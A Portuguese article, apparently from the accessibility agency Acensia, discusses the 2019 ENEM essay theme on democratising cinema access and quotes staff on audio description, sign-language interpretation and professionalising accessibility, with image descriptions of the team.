Bruna usa roupas pretas. Suzana usa blusa azul. Giuliano usa camiseta preta. Danielle usa camiseta branca. Alessandra usa camiseta preta e Leonardo usa camisa rosa.

Cinema e democratização: o que incluir nessa redação

Aproximadamente 5 milhões de estudantes pensando sobre Democratização do acesso ao cinema, tema da redação do Exame Nacional do Ensino Médio (ENEM).  Eles precisaram escrever texto dissertativo-argumentativo em 30 linhas sobre o tema nesse domingo, dia 3 de novembro. 

E o quanto de discussão caberia nessas 30 linhas?

O que não poderia faltar nessa redação?

Suzana Pohrtal, consultora de Audiodescrição da Acensia, afirma que essa discussão é muito bem-vinda e importantíssima para uma conscientização de quem está distante desse universo, mas explica que tal acesso limitado ao cinema não se dá apenas da pessoa com deficiência, mas sim para todo um público – que não consegue comprar ingresso, por exemplo. “A audiodescrição me trouxe um pertencimento muito grande de cultura, de lutar pela acessibilidade, de questionar o porquê eu não posso assistir como todo mundo, e isso é uma questão que deve ser trabalhada com todos.” 

Ela exemplifica que hoje existem sessões de cinema para pessoas no TEA, ou seja, essa democratização precisa ser feita para todos que estão a margem desse assunto. “E reivindico a cultura no geral, não apenas cinema, mas também museu acessível, teatro com audiodescrição. Pelo dia do cinema eu pediria mais visibilidade nessa democratização”, complementa.

Sem dúvida essa é uma discussão urgente. A frase, porém, é ampla, os alunos podem dissertar sobre o acesso do público nas salas de cinema e a inclusão nesse tipo de cultura ou o acesso a políticas públicas de filmes nacionais ou mesmo sobre o fato recente quando o Ministério da Educação assinou um protocolo para ampliar o número de salas de cinema acessíveis. E esse recorte nos interessa muito! Afinal, é essa a luta diária da Acensia: acessibilidade no audiovisual, acessibilidade comunicacional e por aí vai.

Danielle Franco, sócia-diretora da agência, admite ser uma questão controversa. Na teoria, é lindo; mas na aplicabilidade do dia a dia é completamente diferente. “Faltam profissionais qualificados e pessoas interessadas em trabalhar de forma profissional, além do que a Acessibilidade precisa ser matéria curricular na graduações e pós-graduações urgentemente”, reivindica. 

Ela explica que as empresas, produtoras de conteúdo, precisam ser qualificadas para saber o que é acessibilidade de fato. “Acessibilidade não é filantropia, acessibilidade é um negócio. Precisa sim pagar profissionais e estrutura para poder dar ao usuário, ao consumidor, um recurso de qualidade.” Franco destaca também o engajamento empregatício da pessoa com deficiência para que sejam realmente os validadores dos projetos. “A acessibilidade deve ser trabalhada de forma empresarial, com planejamento, indicadores, mensuração de dados, para que as empresas que trabalhem com isso entreguem serviços de qualidade, com uma troca profissional. Essa é a minha verdade e o meu trabalho”, conclui.

Imagem que ilustra a matéria: Da esquerda para a direita: Bruna Garcia, Intérprete e Tradutora de Libras; Suzana Pohrtal, Consultora de Audiodescrição; Giuliano Robert, Produtor e Consultor de Libras; Danielle Franco, Diretora da Acensia; Alessandra Ganassoli, Consultora de Audiodescrição e Cinema e Leonardo Edde, Diretor Acensia. Eles estão abraçados, à frente de um telão. Atrás deles, está o logotipo da Expocine 2019.

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